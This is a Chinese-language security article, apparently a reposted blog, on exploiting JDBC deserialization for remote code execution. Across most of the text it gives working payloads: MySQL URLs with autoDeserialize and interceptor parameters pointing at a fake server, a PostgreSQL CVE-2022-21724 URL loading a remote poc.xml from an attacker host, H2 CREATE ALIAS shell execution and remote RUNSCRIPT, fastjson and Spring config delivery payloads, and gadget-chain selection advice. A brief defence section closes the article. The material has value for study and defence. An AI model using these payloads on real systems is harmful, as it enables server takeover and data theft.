JDBC反序列化如何在实战中进行决策以及利用
原创
苦艾印图
苦艾印图
苦艾印图
2026年8月25日 11:15
青海
在小说阅读器读本章
去阅读
1. 利用场景总览
1.1 什么时候用(攻击场景定位)
JDBC 反序列化的核心前置条件是:攻击者能控制传给 DriverManager.getConnection() / DataSource 的 JDBC URL(connection string)。出现这种情况的典型入口:
| 入口 | 说明 |
|---|---|
| fastjson autoType | 最经典。@type 指定 JdbcRowSetImpl,dataSourceName 可控即等于 JDBC URL 可控 |
| 配置注入 | application.yml 、Druid/Nacos 配置、SnakeYAML、Spring Boot 配置解析点被控制 |
| 框架自带 JDBC URL 参数透传 | 一些工具/框架允许用户填\"数据库连接\"字段,未过滤 |
1.2 其他数据源可被控制的场景
| 类别 | 场景 |
|---|---|
| 反序列化入口 | fastjson JdbcRowSetImpl(最经典)、Jackson polymorphic、XStream/hessian/kryo(dataSourceName 可控) |
| 配置注入 | Spring application.yml/application.properties、Spring Cloud Config / Nacos / Apollo、Druid connection-properties、SnakeYAML、SpEL/EL |
| 框架透传 | Spring Boot DataSource、MyBatis/MyBatis-Plus 动态数据源、ShardingSphere dataSource.url、HikariCP/Druid jdbcUrl、JDBC URL 参数 & 注入 |
| 其他驱动 | H2 Console(8082)、PostgreSQL socketFactory/sslfactory |
2. 攻击链
2.1 完整结构
┌────────── 第一段:JDBC 反序列化(投递通道)──────────┐│ URL 参数 → 驱动反序列化 readObject() → 读出字节对象 │└────────── 第二段:gadget 链(真正的炸药)────────────┘ readObject() 读出的对象 → 触发 gadget 链(CC/CB/URLDNS...) → Runtime.exec() / JNDI / DNS 探测 → RCE
第一段是\"通道\",第二段才是\"炸药\"。JDBC 反序列化只保证\"有字节被 readObject()\",能否变成 RCE 全看第二段的 gadget 链 + JDK/classpath 环境。
完整攻击条件叠加:
① URL 可控(数据源配置被控 / 参数注入)② 驱动版本匹配(MySQL 5.1.x 或 8.0.x 参数对 / PG 见 2.2.4 节版本差异)③ 恶意 server 返回 AC ED 00 05 BLOB payload④ classpath 有可用的 gadget 链(CC3.x / CB / 纯 JDK)⑤ JDK 版本不影响 JNDI 链(≥8u191 时 JNDI 失效,靠本地 gadget)⑥ 命令能执行且能被观察到(出网/回显)
缺一个,链路就断。
2.2 数据源配置
MySQL —— interceptor 触发链路
// 5.1.x 写法:statementInterceptorsjdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
// 8.0.x 写法:queryInterceptors(包名/接口全变)jdbc:mysql://attacker:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
连接建立 → 执行任意 SQL(驱动初始化自带 SELECT @@session...) → preProcess(): 先 SHOW SESSION STATUS 存 preExecuteValues → SQL 执行 → postProcess(): 再 SHOW SESSION STATUS 存 postExecuteValues → 逐行 rs.getObject(2) 拿第二列(Variable_value) → 值以 AC ED 00 05 开头 且 autoDeserialize=true → ObjectInputStream.readObject() ← 反序列化点
源码依据:
- 5.1.47
ServerStatusDiffInterceptor.postProcess→Util.resultSetToMap→rs.getObject(2) - 8.0.13
ResultSetImpl.getObject()反序列化分支(BLOB/VARBINARY 类型):
case BINARY: case VARBINARY: case TINYBLOB: case MEDIUMBLOB: case LONGBLOB: case BLOB: if (field.isBinary() || field.isBlob()) { if (autoDeserialize) { if (data[0]==0xAC && data[1]==0xED) { // 魔数检测 ObjectInputStream objIn = new ObjectInputStream(...); objIn.readObject(); // ← 反序列化点
MySQL JDBC
| 驱动版本 | interceptor 类名 | URL 参数名 | 反序列化落点 |
|---|---|---|---|
| 5.1.x | com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor |
statementInterceptors |
getObjectDeserializingIfNeeded (对 VARCHAR 也反序列化) |
| 8.0.0~8.0.32 | com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
queryInterceptors |
ResultSetImpl switch 里 VARCHAR 走 getString,只有 BLOB 才反序列化 |
| 8.0.33 | 类仍存在(src/main/user-impl) |
queryInterceptors |
同 8.0.x,需显式配置 + BLOB 列 |
- MySQL 服务端版本完全无关
:驱动只读握手包里的版本字符串,恶意 server 声明 5.7.16 即可绕过 versionMeetsMinimum(5,0,2)(5.1.47 MysqlIO.java:1054)。
* 服务端返回格式是硬条件
:SHOW SESSION STATUS 第二列必须声明为 BLOB/VARBINARY(field.isBinary()||isBlob() 为 true),payload 字节以 AC ED 开头;若声明为 VARCHAR → 驱动 getString() 直接返回,不反序列化
依赖:
<!-- 仅用于演示\"数据源配置里的 JDBC URL 写法\", 目标驱动版本决定了 URL 里的参数名(statementInterceptors vs queryInterceptors) --> <dependency> <groupId>mysql</groupId> mysql-connector-java</artifactId> <version>8.0.19</version> </dependency> <dependency> <groupId>commons-collections</groupId> commons-collections</artifactId> <version>3.2.1</version> </dependency>
测试:
import java.sql.*;public class Main { public static void main(String[] args) throws Exception { String url = \"jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc\"; try { Class.forName(\"com.mysql.jdbc.Driver\"); DriverManager.getConnection(url); } catch (Exception e) { e.printStackTrace(); } }}
payload:
jdbc:mysql://127.0.0.1:12821/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc
利用工具-fake-mysql-gui-0.0.4.jar
PostgreSQL JDBC(CVE-2022-21724)
*触发链(本地复现代码实际走的这条)*
恶意 JDBC URL: jdbc:postgresql://127.0.0.1:34432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker/poc.xml │ ▼DriverManager.getConnection(url) → SocketFactoryFactory.getSocketFactory(Properties) # 读取 socketFactory / socketFactoryArg → ObjectFactory.instantiate(classname, info, tryString=true, stringarg=socketFactoryArg) → Class.forName(\"org.springframework.context.support.ClassPathXmlApplicationContext\") → 构造器三选一: (Properties) → (String) → 无参 # 找到 (String) 构造器 → ctor.newInstance(\"http://attacker/poc.xml\") # 执行构造函数 → ClassPathXmlApplicationContext(String) 内部加载远程 XML → XML 里 <bean> 定义(如 ProcessBuilder + init-method) 被 Spring 解析 → 触发命令执行 → RCE ✅
其他注意:
- classpath 必须有 spring-context
(ClassPathXmlApplicationContext);
* 参数名大小写敏感(socketFactory/socketFactoryArg);
* 实例化发生在连接建立阶段(ConnectionFactoryImpl.tryConnect),不需要真正连上 PG 服务端(恶意 XML 是否可达即可)。
依赖:
<!-- PostgreSQL JDBC 驱动(连接测试用) --> <dependency> <groupId>org.postgresql</groupId> postgresql</artifactId> <version>42.2.24</version> </dependency> <!-- spring-context:ClassPathXmlApplicationContext 所在库(CVE-2022-21724 的 RCE 载体) --> <dependency> <groupId>org.springframework</groupId> spring-context</artifactId> <version>5.3.20</version> </dependency>
测试:
public class PostgresDataSourceDemo {
/** * 恶意 JDBC URL —— 模拟攻击者在数据源配置里填的值。 * socketFactoryArg 需指向攻击者托管的 poc.xml */ private static final String MALICIOUS_URL = \"jdbc:postgresql://127.0.0.1:18851/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:18851/pSCenFFo.xml\";
public static void main(String[] args) throws Exception { System.out.println(\"[*] 模拟攻击者控制数据源配置 -> 触发 PostgreSQL 连接\");
String url = (args.length > 0 && !args[0].isEmpty()) ? args[0] : MALICIOUS_URL; System.out.println(\"[*] 填入恶意 dataSourceName:\"); System.out.println(\" \" + url);
try { Class.forName(\"org.postgresql.Driver\"); DriverManager.getConnection(url); System.out.println(\"[!] 连接成功\"); } catch (Exception e) { System.out.println(\"[!] 连接异常(预期内:未托管远程 XML / 无 spring-context / 无 PG server):\"); e.printStackTrace(); } }}
H2
H2 是纯 Java 嵌入式关系型数据库(内存/文件模式,jdbc:h2:mem:test),SQL 图灵完备。三类利用:
-- ① CREATE ALIAS 直接执行(代码执行,非反序列化)CREATE ALIAS IF NOT EXISTS SHELLEXEC AS'String shellexec(String cmd) throws java.io.IOException { java.lang.Runtime.getRuntime().exec(cmd); return \"\"; }';CALL SHELLEXEC('calc');
-- ② INIT=RUNSCRIPT 远程脚本jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker/poc.sql'
| 维度 | MySQL/PG | H2 |
|---|---|---|
| 本质 | 反序列化(驱动 readObject) | 代码执行(ALIAS)/ JNDI |
| 触发前提 | URL 可控 + 恶意 server | URL 可控 + 能提交 SQL,或 H2 Console 开放 |
| 常见入口 | fastjson JdbcRowSetImpl、Druid |
H2 Console(8082)、Spring 配置注入 |
2.3 攻击动作
恶意 MySQL server(Python 骨架)
协议 4 要点(对应源码):
- 握手版本 ≥ 5.0.2(
versionMeetsMinimum(5,0,2)硬门槛,写5.7.16); - 连接后驱动自带初始化查询会触发 interceptor(
SELECT @@session.auto_increment_increment); - 响应
SHOW SESSION STATUS时第二列Variable_value必须声明 BLOB/VARBINARY; - 行数据里放 ysoserial 字节(
AC ED 00 05开头)。
投递 payload
fastjson 版:
{ \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoCommit\": true}
Spring 配置版:
spring: datasource: driver-class-name: com.mysql.jdbc.Driver url: jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
纯 JDBC 客户端(本地复现用,模拟 数据源配置):
String url = \"jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc\";Class.forName(\"com.mysql.jdbc.Driver\");DriverManager.getConnection(url);
3. 与 JDK / gadget 链关系
3.1 为什么\"JDK 版本挂钩\" —— 三个层面
- gadget 链依赖 JDK 内部类
:CC/CB 中转依赖第三方库,但终点往往要 JDK 的 Runtime 等;纯 JDK 链(URLDNS)只靠 JDK 内置类,也受 JDK 版本影响(类增删/行为变化)。
2. JDK 9+ / 8u191+ 引入 ObjectInputFilter
:可设反序列化黑白名单(默认不启用,需显式 setObjectInputFilter)。
3. JNDI 注入受 JDK 版本严格限制
(最直接体现):
| JDK 版本 | JNDI 注入能力 |
|---|---|
| < 8u191 / < 7u201 / < 6u211 | 远程加载 class(LDAP/RMI 返回远程恶意类)→ RCE |
| ≥ 8u191 / ≥ 7u201 / ≥ 6u211 | 远程加载 class 被禁用(com.sun.jndi.ldap.object.trustURLCodebase=false)→ 只能靠\"返回反序列化对象 + 本地 gadget\" |
3.2 常见 gadget 链选择(取决于目标 classpath)
| Gadget 链 | 需要的库 | 触发终点 | 备注 |
|---|---|---|---|
| CC1 | commons-collections 3.x | InvokerTransformer → Runtime.exec |
经典 |
| CC6 | commons-collections 3.x | LazyMap + InvokerTransformer |
最常用(稳定) |
| CC4 | commons-collections 4.x | TiedMapEntry + InvokerTransformer |
4.x 专属 |
| CB1 | commons-beanutils + commons-collections 3.1+ | BeanComparator → Runtime.exec |
很多框架自带 CB |
| URLDNS | 纯 JDK | java.net.URL.hashCode → DNS 探测 |
无第三方依赖,只能探测不能直接 RCE |
| JNDI | 纯 JDK | InitialContext.lookup → 远程类/反序列化 |
受 JDK 版本限制 |
实战判断:
- 目标 classpath 有 commons-collections 3.x → CC6;
- 有 commons-beanutils(Spring 全家桶基本都有)→ CB1;
- 纯 JDK 环境(无第三方库)→ 只能 URLDNS(探测) 或 JNDI(受版本限制);
- 反序列化时
readObject()遇到 gadget 类不在 classpath → ClassNotFoundException(链路断)。
4. 防御建议
- URL 参数白名单
:封装 JDBC 连接层,禁止用户参数覆盖 autoDeserialize、queryInterceptors、statementInterceptors、socketFactory、sslfactory、detectCustomCollations 等危险项。
2. fastjson
:升级 ≥ 1.2.83(或换 fastjson2),默认关 autoType,绝不全局开启 autoTypeSupport。
3. 数据库端口出网管控
:限制 DB 端口到外部的连接(削弱\"恶意 server\"前提)。
4. JDK 升级 ≥ 8u191
并移除本地可用的危险 gadget 库(commons-collections 等)。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论